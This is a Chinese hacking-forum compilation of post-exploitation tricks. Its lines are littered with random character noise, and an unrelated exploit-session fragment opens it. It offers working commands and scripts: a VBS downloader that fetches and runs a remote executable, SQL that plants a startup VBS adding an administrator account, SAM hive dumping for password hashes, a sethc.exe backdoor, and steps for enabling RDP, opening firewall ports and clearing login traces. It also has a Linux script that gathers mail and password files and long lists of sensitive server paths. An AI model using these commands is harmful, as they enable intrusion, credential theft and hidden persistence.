) J6 J8 V. X# V) Q- ?2 R+ q* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
  Y  S% R! d& T) [/ F& Tcalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
# |( N( K- y2 x/ O& a7 D————————————————————————————
  k  R$ g5 A" k1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
3 Z: x( i8 n: _- q1 C# ?6 ~注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
. Q6 `6 W- l% C1 o若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
4 i9 g( V, f' E& b8 o
提权先执行systeminfo
$ i" O7 f; ~  G9 X/ T7 r6 ktoken 漏洞补丁号 KB956572
Churrasco          kb952004
1 N. z9 p% P0 ~% B; O命令行RAR打包~~·
  ?0 f; X# v0 h3 x6 G$ erar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：

0 a, c$ H1 k( Q0 u. R0 r@echo off
& U! h) a: X" y7 V/ w4 _- \. Y' P! Y3 Decho #########system info collection
& l" ]7 o- V4 Lsysteminfo
  n" T9 T) ~8 T0 Z3 y' ~! R& a0 @ver
% T4 q6 n! ~2 ehostname
( T2 }. o3 C# Wnet user
* }$ @" L- ?0 y* U6 @* Znet localgroup
( W2 l( W- }3 inet localgroup administrators
net user guest
. r4 U# u  S" X5 ^) t4 `4 @* @! Enet user administrator

  R. T  G; F8 ~  m8 Hecho #######at- with   atq#####
echo schtask /query

9 g, a; u' @2 r/ }0 Z. mecho
( |* `& o* `4 Z! ?3 C) L7 K* Kecho ####task-list#############
- _2 L4 q5 `5 W7 N" Ftasklist /svc
echo
+ i+ Z/ U# l; X  K) f( y- techo ####net-work infomation
ipconfig/all
route print
' t. f/ ]' q# R6 w1 {. A. garp -a
netstat -anipconfig /displaydns
echo
4 [5 |0 q9 @5 D8 R( Kecho #######service############
4 W3 a+ b2 X& x/ a  {( hsc query type= service state= all
echo #######file-##############
9 [4 D% a0 S: _cd \
tree -F
for linux：

#!/bin/bash
3 d3 _" [: F2 v% H' w
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
% z6 N6 R6 o, D1 ccat /proc/cpuinfo
8 j0 G7 W# l" x2 v4 W! Gecho
; M8 P  O- ~( p1 Z& R. Jrpm -qa 2>/dev/null
+ F9 W8 d: c2 X, n######stole the mail......######
6 d2 v! h$ R  |/ {9 p/ u( Zcp -a /var/mail /tmp/getmail 2>/dev/null

6 e; y3 K- U5 [$ M' R
echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
2 m' g! t7 j: F5 @. Ecrontab -l
0 `$ r! Y$ q, c0 C/ {& Recho #####about var#####
) \1 N) \* M, a" @( |& ~' Wset

' L/ g6 q" G) U( b- L3 G- recho #####about network###
$ I* K8 N+ U* y( {6 E####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
- V! E8 N) Y9 R, W* a* F2 n" Larp -v
5 }: `' q/ W3 n8 ~! h# R! {echo ########user####
( U0 A8 h8 g/ F+ x9 l  R; l7 Jcat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list
+ t6 F( \) G& N/ |
6 \& Z" S0 ~3 [& J2 Pfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
8 B3 @/ p$ n& T( c0 M6 q6 a( o
locate passwd >/tmp/password 2>/dev/null
2 t% Q5 m9 [7 f7 M; V9 K9 m' esleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
/ G( \. g7 Z8 I7 ^: mlocate conf >/tmp/sysconfig 2>dev/null
5 K) ~# `! h( ?% v' q/ Y; d: F+ a4 wsleep 5
/ X+ N5 `( c- }8 @$ b; i$ u" Alocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
+ _: }& ?% D5 X9 H" m4 e* x/ R9 p
/ P* i2 F/ L9 p5 E% K###maybe can use "tree /"###
, T. c0 }& i1 c" Y' H$ K6 @8 E" E8 secho ##packing up#########
4 r, Q( v3 d* L2 s/ ktar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
: E5 r0 k' G; V7 r, _. N——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
' ?  Y, Q" l3 c; n8 x1 o               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
) f1 R1 W0 W9 v7 z! ^1 U- _4 J接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
4 {% T1 R  ]) }% B0 `——————————————
5 G. H) [# w2 t! z! ?1 R& p; x4、vbs 下载者
& F/ K- b+ w9 i1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
# i. d5 L% {' ~echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
& `/ Z/ \- e7 M# p' \echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
/ o2 p$ W$ z. H$ n+ fecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
1 ~0 `) Z4 Q8 b9 Xecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
5 ~; ]3 U7 P0 [8 e  m: \cftmon.vbs

( q+ {3 D; h- ?" K% M2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
+ L7 Z5 z! X* o+ C+ R3 X7 L: ?s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
0 {9 E- [9 u# T
8 W6 v6 H9 r9 |1 I, r: ucscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

1 d  g( z: e- o  \! Q$ j$ \5 |当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
6 k1 ?/ Z! X7 {6 s1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
- [2 ~" u- Y  {  ^, Y9 v2.开启XP&2003终端服务
. X% P/ U7 ]! t4 `# wREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
0 J; F" N) U! K% n5 \% l9 ]REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
5 [& F1 m$ P0 U9 k6 T# dREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
- B# n& }! \! s4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
- y, I0 I0 [1 q+ k% sinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
; _* v" U0 Z# [4 \select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
3 M+ o" R( {2 n0 c+ N) n5 I
, `8 T  n8 M  P! N& j列出d的所有目录
  
0 E3 P+ ^4 O3 a+ D5 _& @0 L  for /d %i in (???) do @echo %i

4 J. A6 A1 r( m6 P把当前路径下文件夹的名字只有1-3个字母的打出来

9 _4 b4 t3 X+ H  s2.for /r %i in (*.exe) do @echo %i
1 z, F2 D0 v' Z. s  
/ _* D6 j" M' l" J: J7 p以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
; S6 P3 P9 m9 \6 R- _
; a8 V/ N  V) r4 B8 rfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
& l0 B6 G# Q2 ?! ]
3.for /f %i in (c:\1.txt) do echo %i
+ z& z. f8 l2 V1 ?. `% }  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
! [" ]9 r  f6 e  e
3 s; l6 V; N; u; C) q8 @" A4 V4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
3 E- A+ V( S' _$ y3 |: V$ P
" m) e% x% R) R4 t2 ?  delims=后的空格是分隔符 tokens是取第几个位置
7 a' Q1 q8 ~% z5 B- j/ Q0 p——————————
- l( w2 G4 ~, N( [( v●注册表:
/ f% T+ K; I! I2 r" C  ]1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
1 a3 i4 k" u6 C6 a7 Q2 o! c
! ~: g9 Z3 x; j. I. o9 k2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
* l$ M- L3 M* m修改PortNumber.
0 F# w0 ^' Z7 ]' c' n
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
. ^: d2 `  J, S# h2 ]- o% k, l
& Y, k2 @) U9 ^3 ?6 Z4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
8 E: @7 q. \; j) yREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

3 a+ w- I. H" R! P' r# p% j6.IPSec默认免除项88端口(需重启):
/ Z! g, E% A- T: Lreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
3 K1 ~1 ~& u9 n' k/ i
7.停止指派策略"myipsec":
! V) f) l" n6 {2 e* y8 `netsh ipsec static set policy name="myipsec" assign=n

5 y: {: d! _1 k% p1 Y. U+ A8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
3 t' B8 Z  `! k: t7 M8 }8 A
2 q1 X8 z& p& P$ C- J) i6 ~% \9.另类方法抓系统密码HASH
4 J7 J; [9 z/ C6 Ireg save hklm\sam c:\sam.hive
7 U5 _. l5 |. v/ G5 J+ x+ }reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
1 E# l4 _) A# Q  G7 f+ S3 j: u# freg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
5 I. W  J$ l# A5 {  P, O# ~% d
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
" Q/ n% v! {! G+ N% jif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
3 x9 J# H  [* H/ Gif err.number<>0 then
7 }8 H$ F  `1 v3 z6 G) Fexit for
msgbox("error!")
. ~  u7 g; ]8 x& Iwscript.quit
end if
4 T8 G( j' y: y' I7 V: G0 o9 Z# t9 Tserverbindings=IIS.serverBindings
* U2 D" M+ {1 B/ h: RServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
- A% y5 Y. g  w4 Ylist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
$ @7 y9 X# i9 g( w* ?8 ^Next
wscript.echo list
% U9 W% b2 P' T$ y' k  k6 SSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
9 B$ J, w0 v% j0 f9 B+ uWScript.Quit
4 w/ h! `' }: L% I1 i3 \复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
+ C2 @( w  w: _$ B+ m- U! g1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
3 p9 }  e$ [! m+ I  d% A复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
( r3 P& @  W( r/ ]4 jPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
' g7 D( x5 m4 n# j0 j) basp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
0 w; l* [: @8 D( f4 |6 p# C9 y url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

) \4 A& P+ i" A. ^9 p8 r* S==============================================================
% w& J& ^3 Q, l) qLINUX常见路径：
* |1 @4 i& w, r2 z5 ^
/etc/passwd
/etc/shadow
/etc/fstab
. j: q5 C( ]9 S. U5 F7 L" M/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
* V( ]4 l) F9 m$ {* Z3 R7 b/var/www/htdocs/index.html
( @/ }/ \" }5 H; y/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
8 I; |: ~# C& l& N% @8 J5 y  s/var/httpd/htdocs/index.html
2 c/ @: m' ?2 B" A9 S6 }: S$ n/var/httpd/conf/php.ini
& ?8 e- |/ [$ t! P$ h& q- x: B' ?/var/www/index.html
6 k! O5 Y: w' y# G) y& o) k/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
) y" K$ l3 O* K/usr/local/apache2/htdocs/index.html
9 Z  z3 Q3 K+ b# F/ ~/ v+ C5 m  n1 Y6 n/usr/local/apache2/htdocs/index.php
1 l4 q- o# I0 s* {/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
6 H8 d3 L& m+ R1 n4 X9 }3 ^/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
7 z( j. l2 q/ D: d1 K' {, ^/ e2 N2 Q/etc/httpd/htdocs/index.html
9 y, o/ v/ `# d4 G- C5 `; h# P7 {/www/php/php.ini
: Q/ C( w8 C- @( _/www/php4/php.ini
5 C& i" {& w2 y4 J' T- `7 K+ `/www/php5/php.ini
/www/conf/httpd.conf
, k$ [4 u  A2 i1 c/ g/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
8 @* W9 d& \4 o& t# K. }! l5 k  h% u/etc/apache/apache.conf
+ k3 S' k7 I7 n/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
2 D: K0 o7 m3 e/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
6 U& M6 E; A) b8 [) I$ E; _$ `/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
5 ?3 g. C; h3 y& J1 h9 x! Y, [/etc/httpd/logs/error_log
' T) ]" a0 M5 g3 m! W0 X' z/etc/httpd/logs/error.log
; E$ `" c9 F4 }/etc/httpd/logs/access_log
& u$ H1 Q$ M4 k$ m/etc/httpd/logs/access.log
+ {( a6 r* P9 F% D/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
0 e. g- \8 x5 y1 N3 _8 e# t( B/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
- Z8 ~5 W( r- O* X/var/log/apache2/error_log
7 @' f5 j  U( @' h1 V+ D/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
" H2 |: P5 L* y6 K3 o& ^/var/www/logs/error.log
/var/www/logs/access_log
: E9 U& V8 v  ~, ?' b7 U1 d( A/ |$ j/var/www/logs/access.log
/usr/local/apache/logs/error_log
+ g/ L& {% U  i* v/usr/local/apache/logs/error.log
$ E2 Q- l$ x5 u2 o/usr/local/apache/logs/access_log
$ N5 `5 @* h% ]/ c0 [  p5 ^' ~/usr/local/apache/logs/access.log
/var/log/error_log
& B/ K0 r* M, y: R& n% F0 b& E/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
* O9 B9 i" l$ `; ]! [/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
) _7 X  \+ g9 b9 J% n2 ]/bin/php.ini
/etc/init.d/httpd
) O9 z0 O  b7 E! _" |/etc/init.d/mysql
9 ]% U3 ~4 Y, F4 t/etc/httpd/php.ini
/usr/lib/php.ini
5 W( i; x) {& J+ p# E% p/usr/lib/php/php.ini
) f! i7 _7 t* ~+ v: |8 B  Z: V/usr/local/etc/php.ini
/usr/local/lib/php.ini
( @! ]1 ?; \& V. c% H/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
! ]+ X1 z1 x5 Z3 a: O8 {; }/usr/local/php4/php.ini
9 i$ V! r* N  y4 D+ B" i9 `/usr/local/php4/lib/php.ini
, n. m+ v7 ]* H/usr/local/php5/lib/php.ini
5 p2 v# R* n  V( x$ ^; O2 _. o/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
% V. `+ D3 T- V5 V/usr/local/apache/conf/php.ini
$ ^% a$ E' E' ~/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
5 m% v* p2 b+ {8 [0 W# M. D, ~2 E/etc/php4.4/fcgi/php.ini
' u3 S6 A+ V) `: W( w# l/etc/php4/apache/php.ini
6 i4 V+ }+ ~8 d  r/ m4 O- K: X/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
1 [; ^3 X! R, l- S5 b' C/etc/php/apache/php.ini
/etc/php/apache2/php.ini
+ R1 f# n( F' c7 Y/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
: M9 C+ g4 k5 J' n/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
' z6 H2 Y, [. x% ^/etc/php5/cgi/php.ini
/php5/php.ini
6 }6 K1 n6 q: I& T$ k, l/php4/php.ini
+ i; h, B! u% [: z2 {6 P/php/php.ini
7 g9 h9 \8 b2 X3 n8 b/PHP/php.ini
/ U2 g) f0 y# H, s/apache/php/php.ini
/xampp/apache/bin/php.ini
, @7 x4 f$ {* S2 L/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
! m2 o- y% n! n6 Q7 c/home/bin/stable/apache/php.ini
, K5 A) v" Z3 o4 G& z' F2 x- h. k( I/var/log/mysql/mysql-bin.log
/var/log/mysql.log
% n, u! H" {* j. @/ |# r/var/log/mysqlderror.log
+ D+ W( Z# _+ c2 G' [/var/log/mysql/mysql.log
8 i% L! c' J+ w; G/var/log/mysql/mysql-slow.log
* p1 s9 s8 I  _1 W. @6 N, A5 G/var/mysql.log
# w* s3 G9 z" |7 Q& y/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
: Q& S" R2 G2 {6 u/usr/local/mysql/bin/mysql
! q; l+ ?4 i- \' R" {& a" `; y: U5 |/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
0 s3 s$ j8 P! z) H( T/usr/local/cpanel/logs/stats_log
  ~+ W4 `. ^8 x/ ]7 E2 h0 O- o/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
  l. R) W, i6 {1 t7 T9 [  A* h/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
$ C, p7 f: o; ?8 f+ P6 W) j/usr/local/share/examples/php/php.ini
3 A8 C$ ~6 V4 q0 t3 W, Z' U1 S, M% q
" B: y0 W6 j- H) h3 X2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
3 W. F) u1 ]5 ^  F& I7 ]9 q3 a
c:\windows\php.ini
1 L( v. w* c! C$ l' J! Tc:\boot.ini
3 S1 \, h; N; X0 `c:\1.txt
c:\a.txt
) O. F, ?( r# x
( q- i3 F+ G* Q. D, Ic:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
8 R; X1 D2 K" D& w: z& B" `( Gc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
9 D" A8 J# D0 ?3 T( \; UC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
: h, [; f" |/ r+ v# C5 i
c:\hzhost\databases\url.asp

  [9 |0 @4 t4 P8 [c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
2 B  D6 |  B1 ]% G/ K
$ ]. j% H# f5 t- }C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
$ K1 H* g* b* Nc:\web\index.html
/ h6 x5 E9 Y- p2 fc:\www\index.html
c:\WWWROOT\index.html
% z& B# C/ \: i: j# y7 Fc:\website\index.html
c:\web\index.asp
c:\www\index.asp
4 x4 v" T- e, Oc:\wwwsite\index.asp
6 U4 V( V3 g. M0 S4 d& Uc:\WWWROOT\index.asp
c:\web\index.php
" M% @' U. {$ M' ?c:\www\index.php
' w5 h2 r0 L% zc:\WWWROOT\index.php
' W0 f* }8 s7 c5 d, G9 l+ Ac:\WWWsite\index.php
9 m. ?' i! q2 w/ L3 uc:\web\default.html
$ d' [/ E( e1 A! D% s4 tc:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
: T  V% l. @& t9 f: cc:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
# i# \7 p2 a9 H9 |2 D+ Bc:\web\default.php
c:\www\default.php
6 L! {. ^8 a5 I# S$ Uc:\WWWROOT\default.php
# N: x. K0 V, Cc:\WWWsite\default.php
# D9 ^+ ?1 A2 |( v" k% f6 h% EC:\Inetpub\wwwroot\pagerror.gif
; ]/ T5 t: Z4 Mc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
4 E: n' }' }$ Z  ^9 d* TC:\Program Files\Microsoft Office\OFFICE11\winword.exe
9 i/ t* A( ]0 J' U* b' [C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
; Z7 V! h# L& `( Q+ CC:\Program Files\winrar\rar.exe
$ q! M0 ^3 S, ?$ H1 O; y; o& Q/ KC:\Program Files\360\360Safe\360safe.exe
6 E: s- @) T9 T$ xC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
. b3 O- P5 E4 h' |2 yc:\ravbin\store.ini
8 M6 R5 Y/ Z. g2 ]8 Z; H1 z( [c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
% W1 C+ H. j/ x" j5 ~C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
0 l2 @2 [  S6 h: N+ d( C2 nC:\Documents and Settings\Administrator\My Documents\1.txt
" K8 X' A8 W+ l* a" [C:\Documents and Settings\Administrator\桌面\1.txt
: Y1 J8 t+ f# I1 ]: f: mC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
' l: F8 \) S( n5 wC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
8 T% ?" f6 p) e; s. V4 xC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
; I- k/ h) }; J3 o* P1 H$ cC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
: b/ ]1 {4 Q- _+ G0 g" G- ]C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
0 J+ O6 c# v0 x- I3 {C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
+ ]1 o2 \; r+ S2 A. ]: z+ a) E$ dC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
6 b4 b) q( Q; l' O% x' [C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
* e# e; t1 v* @C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
1 |% t" ]! F# O& F* u2 Z( xc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
1 M! M7 T% j9 _7 j& aC:\Program Files\Oracle\oraconfig\Lpk.dll
& K" T! o* Z* k( N* j7 pC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
8 g; p# r8 }6 aC:\WINDOWS\system32\inetsrv\MetaBase.xml
% G- {6 b" ~, h1 `+ j$ R% x* ^C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
( l6 l2 Y) k% @& C; [" dC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
4 d3 w9 E! `  \" z" P1 Bc:\tomcat6\tomcat6\bin\version.sh
! K. _4 W5 d% e) Z6 ?7 jc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
# V5 {# ~0 a2 C& ^/ `* Yc:\program files\tomcat6\bin\version.sh
& H3 |9 ]. Q/ M- D# M9 ^5 EC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
" }- d  e; m, R% [c:\Apache2\Apache2\bin\Apache.exe
